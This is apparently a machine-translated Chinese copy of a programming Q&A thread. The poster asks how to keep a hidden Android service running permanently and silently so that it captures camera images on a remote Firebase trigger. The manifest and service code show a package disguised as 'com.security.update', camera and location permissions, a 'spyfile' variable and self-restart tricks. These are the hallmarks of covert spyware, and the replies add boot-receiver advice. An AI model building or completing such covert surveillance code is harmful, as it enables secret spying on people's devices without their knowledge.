我創建了一個服務,我想永遠運行而不顯示前臺通知。我在onStartCommand
中有Firebase
偵聽器,只要數據庫中的數據發生變化就會偵聽。只要數據發生變化,它就會執行特定的任務例如。捕獲圖像。後臺服務與Firebase childeventlistener不工作後幾分鐘
在Activity類中,沒有任何東西只是我已經開始服務,然後我完成了它。問題是,我可以在我的Samsung J2
設備上和Nexus 5
上看到,只要我從應用程序抽屜中殺死應用程序,該服務就會停止。我已經在BOOT_COMPLETED
上實現了廣播接收器,並且還在服務onDestroy
中,但它在啓動時也不起作用。總之,我的服務沒有永久運行。我也不確定Firebase偵聽器是否可以在後臺服務中工作。有許多應用程序,如whatsapp,徒步旅行,Applock,許多其他應用程序,即使在強制關閉時也會重新啓動。我希望我的應用程序每次都能聽取Firebase數據庫。它純粹基於服務的應用程序。它沒有任何活動。 下面是代碼 -
清單文件
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.security.update">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-feature android:name="android.hardware.camera" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<application
android:screenOrientation="portrait"
android:name="android.support.multidex.MultiDexApplication"
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity
android:name=".ActivityForPermissions"
android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="com.security.update.CameraService"
android:enabled="true"
/>
<receiver android:name="com.security.update.ReceiverCall"
android:enabled="true">
<intent-filter>
<action android:name="RESTART_SERVICE" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
</application>
Activity類
public class ActivityForPermissions extends AppCompatActivity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startService(new Intent(ActivityForPermissions.this,CameraService.class));
finish();
}
@Override
protected void onDestroy() {
super.onDestroy();
}}
Reciever類
public class ReceiverCall extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
context.startService(new Intent(context, CameraService.class));;
}
}
服務類
public class CameraService extends Service
{
//Camera variables
//a surface holder
private SurfaceHolder sHolder;
//a variable to control the camera
private Camera mCamera;
//the camera parameters
private Parameters parameters;
/** Called when the activity is first created. */
private StorageReference mStorageRef;
File spyfile;
FirebaseDatabase database;
public static DatabaseReference RequestRef,SpyStatus;
String devicemodel;
@Override
public void onCreate()
{
super.onCreate();
android.os.Debug.waitForDebugger();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
devicemodel = android.os.Build.MODEL;
mStorageRef = FirebaseStorage.getInstance().getReference();
database = FirebaseDatabase.getInstance();
RequestRef = database.getReference("CameraRequest");
SpyStatus = database.getReference("SpyStatus");
ListenerForRequestDone();
return START_STICKY;
}
@Override
public void onDestroy() {
super.onDestroy();
Intent intent = new Intent("RESTART_SERVICE");
sendBroadcast(intent);
}
public void ListenerForRequestDone(){
RequestRef.addChildEventListener(new ChildEventListener() {
@Override
public void onChildAdded(DataSnapshot dataSnapshot, String s) {
}
@Override
public void onChildChanged(DataSnapshot dataSnapshot, String s) {
StartImageCapture(1);
}
@Override
public void onChildRemoved(DataSnapshot dataSnapshot) {
}
@Override
public void onChildMoved(DataSnapshot dataSnapshot, String s) {
}
@Override
public void onCancelled(DatabaseError databaseError) {
}
});
}
也有例如有類似的問題。 this但沒有正確的答案。
嘗試刪除清單文件中的 –
請問您可以如何解釋這個幫助@AshrithkS? –
嗨,開始啓動服務,添加1)在您的元素: <使用權限android:name =「android.permission.RECEIVE_BOOT_COMPLETED」/> –